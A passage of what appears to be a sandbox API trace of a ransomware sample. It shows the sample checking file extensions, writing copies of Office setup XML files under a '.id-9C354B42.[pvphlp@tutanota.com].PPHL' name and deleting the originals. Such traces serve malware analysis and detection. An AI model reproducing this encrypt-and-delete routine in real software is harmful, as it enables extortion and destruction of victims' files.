(lpString1=".xls", lpString2=".XML") returned -1 [0071.079] lstrlenW (lpString=".xlsx") returned 5 [0071.079] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0071.079] lstrlenW (lpString=".ppt") returned 4 [0071.079] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0071.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0071.079] lstrlenW (lpString=".zip") returned 4 [0071.079] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0071.080] lstrlenW (lpString=".rar") returned 4 [0071.080] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0071.080] lstrlenW (lpString=".bz2") returned 4 [0071.080] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0071.080] lstrlenW (lpString=".7z") returned 3 [0071.080] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0071.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0071.080] lstrlenW (lpString=".dbf") returned 4 [0071.080] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0071.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0071.080] lstrlenW (lpString=".1cd") returned 4 [0071.080] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0071.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0071.080] lstrlenW (lpString=".jpg") returned 4 [0071.080] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0071.080] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0071.080] lstrlenW (lpString="Office32WW.XML") returned 14 [0071.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.081] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=4274) returned 1 [0071.081] CloseHandle (hObject=0x1e8) returned 1 [0071.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0071.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0071.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.081] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.081] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0071.081] GetLastError () returned 0x0 [0071.081] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x10b2, lpOverlapped=0x0) returned 1 [0071.204] WriteFile (in: hFile=0x18c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0071.224] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0071.225] WriteFile (in: hFile=0x18c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0071.225] SetEndOfFile (hFile=0x18c) returned 1 [0071.232] CloseHandle (hObject=0x18c) returned 1 [0071.233] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.233] SetEndOfFile (hFile=0x1e8) returned 1 [0071.234] CloseHandle (hObject=0x1e8) returned 1 [0071.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0071.234] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1 [0071.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0071.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0071.235] lstrlenW (lpString=".doc") returned 4 [0071.235] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0071.235] lstrlenW (lpString=".docx") returned 5 [0071.235] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0071.235] lstrlenW (lpString=".pdf") returned 4 [0071.235] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0071.235] lstrlenW (lpString=".xls") returned 4 [0071.235] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0071.235] lstrlenW (lpString=".xlsx") returned 5 [0071.235] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0071.235] lstrlenW (lpString=".ppt") returned 4 [0071.235] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0071.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0071.235] lstrlenW (lpString=".zip") returned 4 [0071.235] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0071.235] lstrlenW (lpString=".rar") returned 4 [0071.235] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0071.235] lstrlenW (lpString=".bz2") returned 4 [0071.235] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0071.235] lstrlenW (lpString=".7z") returned 3 [0071.235] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0071.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0071.235] lstrlenW (lpString=".dbf") returned 4 [0071.235] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0071.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0071.236] lstrlenW (lpString=".1cd") returned 4 [0071.236] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0071.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0071.236] lstrlenW (lpString=".jpg") returned 4 [0071.236] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0071.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0071.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0071.236] lstrlenW (lpString=".doc") returned 4 [0071.236] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0071.236] lstrlenW (lpString=".docx") returned 5 [0071.236] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0071.236] lstrlenW (lpString=".pdf") returned 4 [0071.236] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0071.236] lstrlenW (lpString=".xls") returned 4 [0071.236] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0071.236] lstrlenW (lpString=".xlsx") returned 5 [0071.237] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0071.237] lstrlenW (lpString=".ppt") returned 4 [0071.237] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0071.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0071.237] lstrlenW (lpString=".zip") returned 4 [0071.237] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0071.237] lstrlenW (lpString=".rar") returned 4 [0071.237] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0071.237] lstrlenW (lpString=".bz2") returned 4 [0071.237] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0071.237] lstrlenW (lpString=".7z") returned 3 [0071.237] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0071.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0071.237] lstrlenW (lpString=".dbf") returned 4 [0071.237] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0071.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0071.237] lstrlenW (lpString=".1cd") returned 4 [0071.238] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0071.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0071.238] lstrlenW (lpString=".jpg") returned 4 [0071.239] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0071.239] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0071.239] lstrlenW (lpString="OneNoteMUI.XML") returned 14 [0071.239] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.240] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=1606) returned 1 [0071.240] CloseHandle (hObject=0x1e8) returned 1 [0071.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0071.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0071.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.240] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.240] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0071.475] GetLastError () returned 0x0 [0071.475] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x646, lpOverlapped=0x0) returned 1 [0071.555] WriteFile (in: hFile=0x1b0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x650, lpOverlapped=0x0) returned 1 [0071.556] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0071.556] WriteFile (in: hFile=0x1b0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0071.556] SetEndOfFile (hFile=0x1b0) returned 1 [0071.556] CloseHandle (hObject=0x1b0) returned 1 [0071.560] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.560] SetEndOfFile (hFile=0x1e8) returned 1 [0071.565] CloseHandle (hObject=0x1e8) returned 1 [0071.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0071.565] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1 [0071.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0071.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0071.565] lstrlenW (lpString=".doc") returned 4 [0071.565] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0071.566] lstrlenW (lpString=".docx") returned 5 [0071.566] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0071.566] lstrlenW (lpString=".pdf") returned 4 [0071.566] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0071.566] lstrlenW (lpString=".xls") returned 4 [0071.566] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0071.566] lstrlenW (lpString=".xlsx") returned 5 [0071.566] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0071.566] lstrlenW (lpString=".ppt") returned 4 [0071.566] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0071.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0071.566] lstrlenW (lpString=".zip") returned 4 [0071.566] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0071.566] lstrlenW (lpString=".rar") returned 4 [0071.566] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0071.566] lstrlenW (lpString=".bz2") returned 4 [0071.566] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0071.566] lstrlenW (lpString=".7z") returned 3 [0071.566] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0071.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0071.566] lstrlenW (lpString=".dbf") returned 4 [0071.566] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0071.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0071.566] lstrlenW (lpString=".1cd") returned 4 [0071.566] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0071.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0071.566] lstrlenW (lpString=".jpg") returned 4 [0071.567] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0071.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0071.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0071.567] lstrlenW (lpString=".doc") returned 4 [0071.567] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0071.567] lstrlenW (lpString=".docx") returned 5 [0071.567] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0071.567] lstrlenW (lpString=".pdf") returned 4 [0071.567] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0071.567] lstrlenW (lpString=".xls") returned 4 [0071.567] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0071.567] lstrlenW (lpString=".xlsx") returned 5 [0071.567] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0071.567] lstrlenW (lpString=".ppt") returned 4 [0071.567] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0071.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0071.567] lstrlenW (lpString=".zip") returned 4 [0071.567] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0071.567] lstrlenW (lpString=".rar") returned 4 [0071.567] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0071.567] lstrlenW (lpString=".bz2") returned 4 [0071.567] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0071.567] lstrlenW (lpString=".7z") returned 3 [0071.567] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0071.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0071.567] lstrlenW (lpString=".dbf") returned 4 [0071.568] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0071.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0071.568] lstrlenW (lpString=".1cd") returned 4 [0071.568] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0071.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0071.568] lstrlenW (lpString=".jpg") returned 4 [0071.568] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0071.568] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0071.568] lstrlenW (lpString="PrjProrWW.XML") returned 13 [0071.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.569] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=6421) returned 1 [0071.569] CloseHandle (hObject=0x1e8) returned 1 [0071.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0071.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0071.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.569] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.569] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0071.570] GetLastError () returned 0x0 [0071.570] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x1915, lpOverlapped=0x0) returned 1 [0071.600] WriteFile (in: hFile=0x1b0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x1920, lpOverlapped=0x0) returned 1 [0071.601] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0071.601] WriteFile (in: hFile=0x1b0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xee, lpOverlapped=0x0) returned 1 [0071.601] SetEndOfFile (hFile=0x1b0) returned 1 [0071.601] CloseHandle (hObject=0x1b0) returned 1 [0071.608] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.608] SetEndOfFile (hFile=0x1e8) returned 1 [0071.609] CloseHandle (hObject=0x1e8) returned 1 [0071.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0071.609] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 1 [0071.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0071.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0071.610] lstrlenW (lpString=".doc") returned 4 [0071.610] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0071.610] lstrlenW (lpString=".docx") returned 5 [0071.610] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0071.610] lstrlenW (lpString=".pdf") returned 4 [0071.610] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0071.610] lstrlenW (lpString=".xls") returned 4 [0071.610] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0071.610] lstrlenW (lpString=".xlsx") returned 5 [0071.610] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0071.610] lstrlenW (lpString=".ppt") returned 4 [0071.610] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0071.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0071.610] lstrlenW (lpString=".zip") returned 4 [0071.610] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0071.610] lstrlenW (lpString=".rar") returned 4 [0071.610] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0071.610] lstrlenW (lpString=".bz2") returned 4 [0071.610] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0071.610] lstrlenW (lpString=".7z") returned 3 [0071.611] lstrcmpiW (lpString1=".7z", 